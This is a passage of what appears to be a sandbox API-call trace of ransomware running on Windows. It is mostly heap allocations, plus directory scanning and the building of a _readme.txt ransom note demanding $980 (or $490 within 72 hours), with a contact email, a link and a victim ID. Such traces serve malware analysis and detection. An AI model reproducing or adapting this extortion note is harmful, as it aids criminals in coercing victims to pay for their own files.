(HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.320] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.321] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.321] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.321] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.321] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.321] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.321] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.321] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.321] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.321] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.321] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.321] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0124.321] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.321] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.321] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.321] PathFindFileNameW (pszPath="") returned="" [0124.321] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.321] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.321] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.321] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.321] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.321] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.321] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.321] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0124.321] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 0 [0124.322] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.322] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.322] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_readme.txt" (normalized: "c:\\boot\\sv-se\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.322] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.322] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.322] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.322] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.322] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.322] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.322] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.322] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.322] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.322] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.322] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.322] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.323] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, 